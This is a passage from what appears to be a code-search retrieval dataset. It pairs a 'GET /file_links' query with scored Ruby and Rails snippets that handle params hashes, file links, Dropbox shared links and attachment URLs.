"docid": "2929f88558df014a2dd9c2ec2d4efcb2",
"score": "0.5794937",
"text": "def params= params_hash\n defined?(super) ? super : (@params = params_hash.clone) # To handle, e.g., serialization\n params_hash.each { |key, val|\n setter = :\"#{key}=\"\n if self.private_methods.include? setter\n self.send setter, val\n else\n self.instance_variable_set \"@#{key}\".to_sym, val\n end\n }\n end",
"title": ""
},
{
"docid": "ffef078c1850ae588e1aef809f1c400c",
"score": "0.5791421",
"text": "def create_params_initializer\n\n\t\tend",
"title": ""
},
{
"docid": "8f37fecd5b2f6c5bdd2dbcaecf6ead12",
"score": "0.57884336",
"text": "def initialize(params)\n @params = params.dup\n end",
"title": ""
},
{
"docid": "e6225ffc7cbbe52e59dfbd0c03662fa0",
"score": "0.5785414",
"text": "def hash\n\n\t\t\t@arg.hash\n\t\tend",
"title": ""
},
{
"docid": "e6225ffc7cbbe52e59dfbd0c03662fa0",
"score": "0.5785414",
"text": "def hash\n\n\t\t\t@arg.hash\n\t\tend",
"title": ""
},
{
"docid": "9676a0e70f47288054378cc0b2e047ec",
"score": "0.578391",
"text": "def params\n context.params\n end",
"title": ""
},
{
"docid": "8a4c399d2f850a7a4f0b6b49022b5306",
"score": "0.57835186",
"text": "def hash\n @hash ||= attributes.hash\n end",
"title": ""
},
{
"docid": "3663d75495bc73cb8fa3cb9ef5eb40de",
"score": "0.5783292",
"text": "def filter_params_hash\n @filter_params_hash ||= filter_params_permitted&.to_h || {}\n end",
"title": ""
},
{
"docid": "3a39bb471e8781c88f7ea6e0e0459116",
"score": "0.5781531",
"text": "def initialize(hash = {})\n \t\t\t @params = hash.select { |_k, v| v }\n \t\t\t @params['v'] = 1\n \t\tend",
"title": ""
},
{
"docid": "2e191240f67f94c279da694405334639",
"score": "0.5776032",
"text": "def hash_for_permitting\n builder.state\n end",
"title": ""
},
{
"docid": "380431907a4dabfdaf770a8e7fe72ed7",
"score": "0.5771807",
"text": "def to_h\n PARAMETERS.each_with_object({}) do |param, hash|\n next if send(param).nil?\n\n hash[param] = send(param)\n end\n end",
"title": ""
},
{
"docid": "d129e8b6620802dd7c3b4b3ac0e4ede2",
"score": "0.57694906",
"text": "def reload_params\n {}\n end",
"title": ""
},
{
"docid": "a0b27507bf95a105ac93adf928095a97",
"score": "0.576577",
"text": "def params=(hash)\n if params\n params.replace hash\n else\n super\n end\n end",
"title": ""
},
{
"docid": "26109cb8fc9e341aea4ff1c0433bedd8",
"score": "0.5758747",
"text": "def initialize(input_hash, opts = {})\n @input_hash = input_hash\n @providers_input_hash = opts[:providers_input_hash] || {}\n @action_name = opts[:action_name]\n @cmp_print_form = opts[:cmp_print_form]\n # provider_specific_fields must be done after instance attributes set\n super(provider: type.to_s).merge!(provider_specific_fields)\n end",
"title": ""
},
{
"docid": "8565da3160a36ce33d6594983d59e2d0",
"score": "0.5750396",
"text": "def parameters()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "82f0917934b331e346d93990fca129d1",
"score": "0.5745788",
"text": "def initialize_copy(orig)\n @hash = orig.to_h.dup\n end",
"title": ""
},
{
"docid": "51aa8875d47bde66f21c76086b885f6e",
"score": "0.57413834",
"text": "def params\n { :only => self.attrs, :methods => self.methds }\n end",
"title": ""
},
{
"docid": "d550ca96ba89ecef83a73375c602ef33",
"score": "0.57328296",
"text": "def params(hsh = nil)\n @params ||= {}\n @params.update(hsh) if hsh\n\n @params\n end",
"title": ""
},
{
"docid": "5a838ddb415527c736c6cce47ffdf0e8",
"score": "0.5724679",
"text": "def dup\n super.tap do |params|\n params.instance_variables.each do |var|\n dupped = DeepDup.deep_dup(params.instance_variable_get(var))\n params.instance_variable_set(var, dupped)\n end\n end\n end",
"title": ""
},
{
"docid": "4f4d1bf6d2d7ec9cc8cf0098cb6635fe",
"score": "0.5722787",
"text": "def raw_hash_form\n {}.merge(self)\n end",
"title": ""
},
{
"docid": "cbe287ab70eac6a2ef61f96fce7ff7ef",
"score": "0.57221866",
"text": "def instance_params\n params.fetch(:instance, {})\n end",
"title": ""
},
{
"docid": "ec915971b062fa3548abcef8f0279cd4",
"score": "0.571842",
"text": "def to_hash\n result = {}\n params.each do |param|\n result[param.name] = self.send(param.name)\n end\n result\n end",
"title": ""
},
{
"docid": "f1ecfd21a80dbb3694066379057748c3",
"score": "0.57177705",
"text": "def initialize(hash)\n # copy over values from hash\n self.merge!(hash)\n end",
"title": ""
},
{
"docid": "d84c02bf9080cd05dc224bb52ab16309",
"score": "0.5717188",
"text": "def to_hash\n update_params\n end",
"title": ""
},
{
"docid": "ac6f1ba276fdb1a864f4d2719a6c2ee7",
"score": "0.5715656",
"text": "def params\n @params ||= begin\n hash = HashWithIndifferentAccess.new.update(get_params)\n hash.update(post_params) if form_data?\n hash\n end\n end",
"title": ""
},
{
"docid": "09b032e2c40f8514addf5641ddbba258",
"score": "0.57079226",
"text": "def authorized_params(hash)\n ActionController::Parameters.new\n end",
"title": ""
},
{
"docid": "a3962ad4d4638f46b96dcaacaab3fabf",
"score": "0.57042116",
"text": "def params\r\n @params || {}\r\n end",
"title": ""
},
{
"docid": "dcaf221cce72b7ea866979272d9a9801",
"score": "0.5698186",
"text": "def params=(hash)\n @params.clear\n @params.update(hash)\n end",
"title": ""
},
{
"docid": "dcaf221cce72b7ea866979272d9a9801",
"score": "0.5698186",
"text": "def params=(hash)\n @params.clear\n @params.update(hash)\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.5695834",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.5695834",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "2824d3cecaf24bae1e15940382b95a52",
"score": "0.5695143",
"text": "def make_params\r\n raise 'must be implemented in subclasses'\r\n end",
"title": ""
},
{
"docid": "be031e6f7bbd8daccdd780e351082a68",
"score": "0.56883484",
"text": "def hash\n [object, name, args, kwargs, block].hash\n end",
"title": ""
},
{
"docid": "86dcfa4da63d892622f45ae21680fc6f",
"score": "0.5686309",
"text": "def apicasso_parameters(hash = nil)\n (hash || params.to_unsafe_h).slice(:group, :resource, :nested, :sort, :include, :batch)\n end",
"title": ""
},
{
"docid": "3a151377629368df58e59c00e32effd9",
"score": "0.56801957",
"text": "def hash\n self[:hash]\n end",
"title": ""
}
] |
2f6aa11e48589025007e48faf9482503 | GET /file_links GET /file_links.json | [
{
"docid": "0c2bd24dbc85fb8786565aeec370d980",
"score": "0.72756565",
"text": "def index\n @file_links = FileLink.all\n end",
"title": ""
}
] | [
{
"docid": "9678529c1b0c1aa61ea6aa88b325f1ca",
"score": "0.7097361",
"text": "def links\n {\n show: file_path(object),\n rename: api_file_path(object),\n }\n end",
"title": ""
},
{
"docid": "e51e22ad04837dcbf22a59be734ee436",
"score": "0.6541884",
"text": "def link\n file = XFile.first(id: params[:id], uploaded: true)\n\n raise RequestError.new(:file_not_found, \"File not found or not public\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not get the download link of the root folder\") if file.id == session[:user].root_folder.id\n raise RequestError.new(:bad_param, \"Can't get the link of a folder\") if file.folder\n\n file.generate_link\n @result = { link: file.link, uuid: file.uuid, success: true }\n end",
"title": ""
},
{
"docid": "85a28f4c96e5c82d0a90543a54fee895",
"score": "0.6541719",
"text": "def links\n response = Clever.request :get, url\n response[:links]\n end",
"title": ""
},
{
"docid": "e8a3ffa1fd9571ab6dfaa3ae09d01872",
"score": "0.65101784",
"text": "def handle_links(json) end",
"title": ""
},
{
"docid": "b609e48f5c999b07618330c062963abd",
"score": "0.64289737",
"text": "def links\n json_hyperschema[\"links\"] || []\n end",
"title": ""
},
{
"docid": "980f8e40af4b53db828a3c25739dcbe4",
"score": "0.64264154",
"text": "def dropbox_find_shared_link(file)\n url = \"https://api.dropboxapi.com/2/sharing/list_shared_links\"\n payload = { path: file, direct_only: true }\n\n dropbox_post_json(url, payload: payload) do |json|\n if link = Array(json[\"links\"]).first\n link[\"url\"]\n end\n end\n end",
"title": ""
},
{
"docid": "7ce84e43569762e01760f0f42a6b201a",
"score": "0.62615573",
"text": "def index\n links = all_links\n render json: { success: true, links: links }\n end",
"title": ""
},
{
"docid": "7cfb07429eaf563a23d64e3a21ee1b8a",
"score": "0.623923",
"text": "def index\n render json: @links\n end",
"title": ""
},
{
"docid": "584f5d34d545f109f9677c416e9f6d0d",
"score": "0.6210388",
"text": "def links\n data['links']\n end",
"title": ""
},
{
"docid": "2f6b09856e2208284fa978b4694ec4f5",
"score": "0.61483085",
"text": "def all\n setup_file\n \n links_data = File.open('link_db.txt').read\n links = JSON.parse(links_data)\n \n return links\nend",
"title": ""
},
{
"docid": "e0832690b216ad86cac18afc0d0cde81",
"score": "0.61309856",
"text": "def all\n setup_file\n \n links_data = File.open('link_db.txt').read\n links = JSON.parse(links_data)\n return links\nend",
"title": ""
},
{
"docid": "f4f79304594158c3b892fc372f1c1f7d",
"score": "0.6095232",
"text": "def index\n @links = Link.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @links }\n end\n end",
"title": ""
},
{
"docid": "58e7f0760f6b285fde43e7283389db02",
"score": "0.6046713",
"text": "def links\n return {} unless current_user\n\n # rubocop:disable Metrics/BlockLength\n super.tap do |links|\n links[:show] = \"/files/#{object.uid}\"\n links[:user] = user_path(object.user.dxuser)\n links[:track] = track_path(id: object.uid)\n links[:space] = space_path if object.in_space?\n\n # POST download_list files\n links[:download_list] = download_list_api_files_path\n # POST /api/attach_to: api_attach_to_notes, discussions, answers\n links[:attach_to] = api_attach_to_notes_path\n # POST: Add file\n links[:add_file] = api_create_file_path\n # POST: Add folder\n links[:add_folder] = create_folder_api_files_path\n # PUT edit a single file\n links[:update] = api_files_path(object)\n # link to license page if exists\n links[:show_license] = license_path(object.license.id) if object.license\n\n if object.license.present? && object.license_status?(current_user, \"active\")\n unless object.license.owned_by_user?(current_user)\n links[:download] = download_api_file_path(object)\n # POST /api/files/copy copy_api_files\n links[:copy] = copy_api_files_path\n end\n end\n\n if object.license.present? && !object.license_status?(current_user, \"active\")\n if object.license&.approval_required\n unless object.license_status?(current_user, \"pending\")\n # GET|POST /licenses/:id/request_approval\n links[:request_approval_license] =\n request_approval_license_path(object.license.id)\n links[:request_approval_action] = \"api/licenses/:id/request_approval\"\n end\n else\n # POST /api/licenses/:id/accept\n links[:accept_license_action] =\n object.license && accept_api_license_path(object.license.id)\n end\n end\n\n # license exists and accepted\n if object.license.present? &&\n object.license.accepted_licenses.exists?(user_id: current_user.id)\n links[:download] = download_api_file_path(object)\n end\n\n # any file without license\n if object.license.blank?\n # GET download single file\n links[:download] = download_api_file_path(object)\n # POST /api/files/copy copy_api_files\n links[:copy] = copy_api_files_path\n end\n\n if object.owned_by_user?(current_user)\n unless object.in_space? && member_viewer?\n # publish single file if it is not public already and in a root folder\n links[:publish] = publish_object unless object.public? || object.parent_folder_id\n # POST: /api/files/remove - Delete file(s) & folder(s), being selected\n links[:remove] = remove_api_files_path\n # POST associate item to a license\n links[:license] = \"/api/licenses/:id/license_item/:item_uid\" if licenseable\n if object.license&.owned_by_user?(current_user)\n # GET UserFile license object if exists\n links[:object_license] = api_license_path(object.license&.id)\n # POST detach license from item\n links[:detach_license] = \"/api/licenses/:id/remove_item/:item_uid\"\n end\n # POST: Move file(s) and folder()s) to other folder\n links[:organize] = move_api_files_path\n end\n end\n\n if current_user.can_administer_site?\n # PUT /api/files/feature\n links[:feature] = feature_api_files_path\n # POST: Move file(s) and folder()s) to other folder\n links[:organize] = move_api_files_path\n end\n end\n # rubocop:enable Metrics/BlockLength\n end",
"title": ""
},
{
"docid": "cc6e400fdbbd88ab7222d2cf49e91ecd",
"score": "0.6027695",
"text": "def index\n if request.referrer.split('/').last == \"preview\"\n @deleted_from_preview = true\n end\n \n @links = Link.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @links }\n end\n end",
"title": ""
},
{
"docid": "c9692443767896ea612a133ab7e7a1bc",
"score": "0.5959014",
"text": "def handle_links(links_object)\n @uri = links_object['file']\n end",
"title": ""
},
{
"docid": "366ceb3e65e5188bb6233429b0c28cf8",
"score": "0.5945424",
"text": "def index\n @file_versions = FileVersion.all\n\n render json: @file_versions\n end",
"title": ""
},
{
"docid": "1dc45d51a2ca7ced7f4be6e677a050d9",
"score": "0.59408504",
"text": "def to_link_json\n {\n sys: {\n type: 'Link',\n linkType: 'Upload',\n id: id\n }\n }\n end",
"title": ""
},
{
"docid": "1dc45d51a2ca7ced7f4be6e677a050d9",
"score": "0.59408504",
"text": "def to_link_json\n {\n sys: {\n type: 'Link',\n linkType: 'Upload',\n id: id\n }\n }\n end",
"title": ""
},
{
"docid": "6cb9b65e5a632d64f88df839bd672bb2",
"score": "0.5940721",
"text": "def get_links_changes(params)\n get_json(links_changes_url(params))\n end",
"title": ""
},
{
"docid": "287cbcaa41bddc60f3a27d8243163d57",
"score": "0.59092826",
"text": "def files\n @files=get_endpoint('extra').keys\n end",
"title": ""
},
{
"docid": "d3a506d34f5ee981fe18556eb6ba6af9",
"score": "0.58920217",
"text": "def doc_links(pid)\n @client.call(:get_doc_links, message: {pid: pid})\n end",
"title": ""
},
{
"docid": "8c195367e09c3b3f51db51d113e0f916",
"score": "0.5860469",
"text": "def links\n @data[\"_links\"]\n end",
"title": ""
},
{
"docid": "c479bdce2ce4161eaa7c0bfc93cd296c",
"score": "0.5858776",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @link }\n end\n end",
"title": ""
},
{
"docid": "c479bdce2ce4161eaa7c0bfc93cd296c",
"score": "0.5858776",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @link }\n end\n end",
"title": ""
},
{
"docid": "5cea0eb391fed148e34b05ff65922e52",
"score": "0.58451605",
"text": "def linked\n request('linked')\n end",
"title": ""
},
{
"docid": "35054efd52223f611ffe8b52d2738a93",
"score": "0.5839143",
"text": "def show\n @file_record = FileRecord.find(params[:id])\n @file_versions = @file_record.file_versions.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @file_record }\n format.json { render json: {file_record: @file_record,file_versions: @file_versions} }\n end\n end",
"title": ""
},
{
"docid": "63a162bc88b44a34f1d81142a09d86a7",
"score": "0.5835054",
"text": "def link_for(path)\n [path, { file_name: File.basename(path) }]\n end",
"title": ""
},
{
"docid": "949956aa6e58ea4429ef60ca38ef2cce",
"score": "0.5822482",
"text": "def get_links(service)\n\t\treturn @transport.get_path(\"links\",service)\n\tend",
"title": ""
},
{
"docid": "ead022f4fa661a698da73252a4a8ae7e",
"score": "0.5822466",
"text": "def href\n link.gsub(\".json\", \"\")\n end",
"title": ""
},
{
"docid": "bdfe670144f8b3b091b15124c329eaf3",
"score": "0.5819262",
"text": "def index\n @links = Link.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @links }\n end\n end",
"title": ""
},
{
"docid": "f6944f0d6a4f3ffeb6ed5636ab6094ac",
"score": "0.58119184",
"text": "def other_download_links(document, files_hash)\n other_links = []\n other_file_types = [files_hash[:audio], files_hash[:document], files_hash[:ereader]]\n other_file_types.each do |file_type|\n file_type.each do |file|\n attachments_json = JSON.parse(file['attachments_ss'])\n other_downloadable_attachments(attachments_json).each do |att_type|\n next if attachments_json[att_type].blank?\n\n other_links << file_download_link(file['id'],\n download_link_title(document, attachments_json, att_type),\n attachments_json,\n att_type,\n download_link_options)\n end\n end\n end\n other_links\n end",
"title": ""
},
{
"docid": "9e93ebc12c69660b08c08167a3ef814e",
"score": "0.5794725",
"text": "def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"title": ""
},
{
"docid": "9e93ebc12c69660b08c08167a3ef814e",
"score": "0.5794725",
"text": "def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"title": ""
},
{
"docid": "0e9140de5ca77a0558950b39c4a63549",
"score": "0.5780081",
"text": "def process_file(file_path, url, deep_level = -1)\n base_uri = URI(url)\n links = process_data(base_uri, file_path)\n process_links(base_uri, links, deep_level)\n\n puts \"\\nProcessed links:\"\n pp @processed_links\n end",
"title": ""
},
{
"docid": "c09f9c9a11f934e0aad886fe02ec994e",
"score": "0.57712024",
"text": "def links\n @user = User.find(params[:id])\n render json: {status: 'SUCCESS', message: 'List all Links in User', data: @user.links},status: :ok\n end",
"title": ""
},
{
"docid": "c2ebe425ce922af5f272c63d8d652e63",
"score": "0.5763614",
"text": "def links\n return {} unless current_user\n\n {}.tap do |links|\n links[:show] = api_asset_path(object)\n links[:user] = user_path(object.user.dxuser)\n links[:space] = space_path if object.in_space?\n\n # GET download single file #\n links[:download] = download_api_file_path(object)\n # POST download_list files #\n links[:download_list] = download_list_api_files_path\n # POST Authorize URL - to move to api #\n links[:link] = link_file_path(object)\n\n # GET asset license page if exists\n links[:show_license] = license_path(object.license.id) if object.license\n\n if object.owned_by_user?(current_user)\n # POST: /api/assets/rename\n links[:rename] = rename_api_assets_path(object)\n # publish single asset if it is not public already\n links[:publish] = publish_object unless object.public?\n # PUT /api/assets/:id update single asset: title and description permitted\n links[:update] = api_asset_path(object)\n # DELETE: /api/assets/:id - Delete single asset\n links[:remove] = api_asset_path(object)\n if object.license\n # GET asset license object if exists\n links[:object_license] = api_license_path(object.license&.id)\n # POST detach license from item\n links[:detach_license] = \"/api/licenses/:id/remove_item/:item_uid\"\n end\n # POST associate item to a license\n links[:license] = \"/api/licenses/:id/license_item/:item_uid\" if licenseable\n # POST /api/attach_to: api_attach_to_notes, discussions, answers\n links[:attach_to] = api_attach_to_notes_path\n # POST /api/files/copy copy_api_files\n links[:copy] = copy_api_files_path\n end\n\n if current_user.can_administer_site?\n # PUT /api/assets/feature #\n links[:feature] = feature_api_assets_path\n end\n end\n end",
"title": ""
},
{
"docid": "3f0546f2f3507bce19619f64f5fd78c5",
"score": "0.57635397",
"text": "def dropbox_create_shared_link(file)\n url = \"https://api.dropboxapi.com/2/sharing/create_shared_link_with_settings\"\n payload = { path: file, settings: { requested_visibility: \"public\" } }\n\n dropbox_post_json(url, payload: payload) do |json|\n json[\"url\"]\n end\n end",
"title": ""
},
{
"docid": "d7d00837857163b31a4352f5db46d30a",
"score": "0.5757615",
"text": "def video_download_links(document, video_files)\n file = video_files.first\n video_links = []\n attachments_json = JSON.parse(file['attachments_ss'])\n %w(video_access_mp4 video_access_webm).each do |v_id|\n next unless attachments_json[v_id]\n\n video_links << file_download_link(file['id'],\n download_link_title(document, attachments_json),\n attachments_json,\n v_id,\n download_link_options)\n end\n video_links\n end",
"title": ""
},
{
"docid": "c7d400a7337984451ebf1d85adb2af31",
"score": "0.5757153",
"text": "def index\n @link_attachments = LinkAttachment.all\n end",
"title": ""
},
{
"docid": "98a1244df365ebfa2bd93abc68817271",
"score": "0.5748429",
"text": "def list_files\n source_dir = Path.new(params[:source_dir])\n if params.has_key?(:show_catalogues)\n show_catalogues = params[:show_catalogues]\n else\n show_catalogues = false\n end\n if params[:ext].present?\n file_type = params[:ext]\n else\n file_type = nil\n end\n render json: source_dir.files(file_type: file_type, show_catalogues: show_catalogues)\n end",
"title": ""
},
{
"docid": "e82cfe82e38c986e6b50ae0968ec48e5",
"score": "0.5745293",
"text": "def index\n @channel = Channel.find_by_name(params[:channel_id])\n @attachments = @channel.attachments.order(\"created_at DESC\")\n\n respond_to do |format|\n format.json { render :json => @attachments.to_json(:methods => :url) }\n end\n end",
"title": ""
},
{
"docid": "0a7a0cb0586f7f566fd26b9e00861cb1",
"score": "0.56984985",
"text": "def list\n response = @user.get(@base_uri)\n response[\"linked-documents\"].map {|ld| LinkedDocument.new(@user, ld) }\n end",
"title": ""
},
{
"docid": "523ebaf0a73d03bbc3dc385cc81079a9",
"score": "0.569643",
"text": "def discover_files\n authorize! :create, resource_class\n respond_to do |f|\n f.json do\n render json: file_locator.to_h\n end\n end\n end",
"title": ""
},
{
"docid": "98b3fe5818e0a28955e7e41f0110efac",
"score": "0.5691706",
"text": "def linkfile\n curfile = File.last_added(\"#{Downloads_path}/*.pdf\")\n unless curfile # no last file found\n growl(\"Sorry, no PDFs found in that directory\")\n exit(0)\n end\n\n f = MacTypes::FileURL.path(curfile)\n Selection[0].linked_files.add(f,{:to =>Selection[0]})\n Selection[0].auto_file\n\n growl(\"PDF added\", \"File added successfully to #{Selection[0].cite_key.get}\")\nend",
"title": ""
},
{
"docid": "7568495415afe09bc30e82c800a3d343",
"score": "0.5686739",
"text": "def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"title": ""
},
{
"docid": "9d46fd42e50a5706ff6fbebc59903445",
"score": "0.5680618",
"text": "def links(query = {})\n Request.new(self, '/cdn/links', query).get\n end",
"title": ""
},
{
"docid": "9d46fd42e50a5706ff6fbebc59903445",
"score": "0.5680618",
"text": "def links(query = {})\n Request.new(self, '/cdn/links', query).get\n end",
"title": ""
},
{
"docid": "2e3e237463392643f2384a8974511d98",
"score": "0.5672914",
"text": "def as_json(request)\n {\n :links => [\n *models.map { |k,v| {:rel => k, :href => request.add_path(k).full_path } },\n {:rel => 'self', :href => request.full_path}\n ]\n }\n end",
"title": ""
},
{
"docid": "a4d3ce90bcda01126929d96e5baa5d13",
"score": "0.5663797",
"text": "def file_references\n return unless @command == :download_file_list\n\n @file_references ||= begin\n xml = xml_doc content\n descriptors = xml.css('FileDescriptor')\n descriptors.map { |descriptor| descriptor.at('FileReference').content }\n end\n end",
"title": ""
},
{
"docid": "66a9aa7bce36ec88b027f47c7d5eb5ad",
"score": "0.56587523",
"text": "def file_url\n end",
"title": ""
},
{
"docid": "a07a41d2f2005860df01e1e4e6eb9f96",
"score": "0.56519526",
"text": "def get_links(blob)\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] Entering\")\n link = []\n\n if !blob[\"link\"].blank?\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] adding link #{blob[\"link\"]}\")\n\n link = ::Api::Helpers::Parser.get_documents({:text => blob[\"link\"]})\n\n #reset the mime to system type. give higher priority to mime found by our system\n mime = ::Api::Helpers::Parser.map_type_to_mime(blob[\"type\"])\n\n link[0][:mime] = mime if mime != AppConstants.mime_remote_link\n\n link[0][:description] = blob[\"description\"]\n link[0][:title] = blob[\"name\"]\n\n link[0][:provider] =~ /facebook.com/ ? link[0][:ignore] = true : link[0][:ignore] = false\n\n link[0][:source_object_id] = blob[\"object_id\"]\n\n #extract image_url\n if !blob[\"picture\"].blank?\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] CGI EXTRACTION #{cgi}\")\n\n u = URI.unescape(blob[\"picture\"])\n cgi = CGI::parse(u)\n\n #internal images are encoded in src(fbcdn) and external are encoded in\n url = cgi[\"url\"]\n url = cgi[\"src\"] if url.blank?\n\n\n if !cgi.blank? and !url.blank?\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] adding Picture Url #{link[0][:image_url]} \")\n\n link[0][:image_url] = url[0]\n link[0][:image_width] = cgi[\"w\"][0] if !cgi[\"w\"].blank?\n link[0][:image_height] = cgi[\"h\"][0] if !cgi[\"h\"].blank?\n end\n end\n end\n\n #attach embedded links also link array\n #duplicate document is removed in create_activity\n if !blob[\"message\"].blank?\n\n embedded_links = ::Api::Helpers::Parser.get_documents({:text => blob[\"message\"]})\n if link.blank?\n link = embedded_links if !embedded_links.blank?\n else\n embedded_links.each do |elem|\n #remove duplicates ..\n #give priority to attr[links] as they will be mostly resolved\n next if link[0][:url] == elem[:url]\n link << elem\n end\n end\n end\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] Leaving \")\n link\n rescue => e\n Rails.logger.error(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_links] **** RESCUE **** => #{e.message} for #{blob.inspect}\")\n return []\n end",
"title": ""
},
{
"docid": "c69f8a157722e4d9da92c506d7f64d67",
"score": "0.5645095",
"text": "def documenturls91\n return unless object.documents.attachments\n document_urls = object.documents.map do |adoc| \n URI.join(\n ActionController::Base.asset_host, \n rails_blob_path(adoc))\n end\n end",
"title": ""
},
{
"docid": "525ab3873c6a4d460a15bf69322d03aa",
"score": "0.5639126",
"text": "def get_link page_number, link_index\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if page_number == ''\n raise 'page number not specified'\n end\n \n if link_index == ''\n raise 'link index not specified'\n end\n \n str_uri = $product_uri + '/pdf/' + @filename + '/pages/' + page_number.to_s + '/links/' + link_index.to_s\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Link']\n \n \n rescue Exception=>e\n print e\n end\n end",
"title": ""
},
{
"docid": "0d046d8f6fb8148747c66c9ef49dedce",
"score": "0.5638348",
"text": "def index\n @references = Reference.all\n\n render json: @references\n end",
"title": ""
},
{
"docid": "a40ddf289ddc023757baf22a75467851",
"score": "0.5637226",
"text": "def files_remote_list(options = {})\n options = options.merge(channel: conversations_id(options)['channel']['id']) if options[:channel]\n if block_given?\n Pagination::Cursor.new(self, :files_remote_list, options).each do |page|\n yield page\n end\n else\n post('files.remote.list', options)\n end\n end",
"title": ""
},
{
"docid": "33f2734d9376324d01b66134474c2d98",
"score": "0.5633308",
"text": "def index\n @links = current_user.links.desc :created_at\n @title = 'Shared By You'\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @links }\n end\n end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5632287",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5632287",
"text": "def links; end",
"title": ""
},
{
"docid": "5c4a0c442ca56f6026a0a95a6a39ee48",
"score": "0.56305635",
"text": "def index\n @externalformlinks = Externalformlink.all\n end",
"title": ""
},
{
"docid": "938577b7a7771dc9d9fc3b50bcff5de4",
"score": "0.5628204",
"text": "def show\n @link = Link.find(params[:id])\n paginate_all_links\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @link }\n end\n end",
"title": ""
},
{
"docid": "54098ec326655ce9c90efaa420f3ac91",
"score": "0.5625919",
"text": "def files\n db = Database.find(params[:id])\n @files = Dir.entries(db.path)\n @files.delete_if{|f| !f.include?'.dat'}\n @results = []\n @files.each do |entry|\n @results << {:name=>entry,:version=>db.version}\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end",
"title": ""
},
{
"docid": "427894d4910157128b0112d55d75a75d",
"score": "0.56040806",
"text": "def links\n links = []\n result = self.perform\n links = result.ft_links\n end",
"title": ""
},
{
"docid": "dbababfc657900dceea1e28d68163ed8",
"score": "0.5600103",
"text": "def parse_files_json(file)\n\n files_hash = convert_json(b2_list_file_names(file))\n files = {}\n\n files_hash[\"files\"].each do |file_hash|\n files[file_hash[\"fileName\"]] = file_hash[\"fileId\"]\n end\n\n return files\n\nend",
"title": ""
},
{
"docid": "6ad69c344ed3cff14ca3574ee0e79f0e",
"score": "0.5598581",
"text": "def additional_links\n @additional_links ||= begin\n links = {}\n\n main_link_label = ScihistDigicoll::Util.humanized_content_type(main_file.content_type)\n main_link_label << \" - \" + ScihistDigicoll::Util.simple_bytes_to_human_string(main_file.size)\n\n links[main_link_label] =\n shrine_file_url(shrine_file: main_file, disposition: \"attachment\", filename: item_filename)\n\n if flac_with_m4a?\n # add the original flac link too\n links[\"FLAC - #{ScihistDigicoll::Util.simple_bytes_to_human_string(asset.size)}\"] =\n shrine_file_url(shrine_file: asset.file,\n disposition: \"attachment\",\n filename: DownloadFilenameHelper.filename_for_asset(asset))\n end\n\n links\n end\n end",
"title": ""
},
{
"docid": "a6dcfb6ed26dad616ef2ea3f206fd549",
"score": "0.5590892",
"text": "def show_public\n success = false\n\n if params.key?(:link_uuid)\n public_link = PublicLink.find_by(link_uuid: params[:link_uuid])\n\n success = public_link and @file.project_id == public_link.project_id\n end\n\n if success\n render json: @file, serializer: FileSerializer, :root => \"file\"\n else\n render_error\n end\n end",
"title": ""
},
{
"docid": "d3a0c024a8a51dd8b348600b3c238315",
"score": "0.55696017",
"text": "def file_data\n @client.get_file @file_url\n end",
"title": ""
},
{
"docid": "d156e2dd9f619784c8acf41f4375c8a4",
"score": "0.55575806",
"text": "def neofiles_link(file, tag_content = nil, html_attrs = {})\n html_attrs[:href] = neofiles_file_url file unless html_attrs[:href]\n content_tag(:a, tag_content.presence || file.description.presence || file.filename, html_attrs)\n end",
"title": ""
},
{
"docid": "20eeedb26c5c5183bf4f11e41d0642fe",
"score": "0.55559194",
"text": "def get_file(url); end",
"title": ""
},
{
"docid": "ef8966d27bb356bf93107d26d15ff8c5",
"score": "0.5542946",
"text": "def save_files(links)\n links.each do |link|\n if[\".jpg\",\".gif\",\".png\",\"jpeg\"].include?(File.extname(link)) \n File.open(\"#{@direc}/\" + File.basename(link), 'wb') { |i| i.write(RestClient.get(link)) } \n end\n end\n page_counter\n end",
"title": ""
},
{
"docid": "f2defafcc962ef8568a804ac490edef9",
"score": "0.5534628",
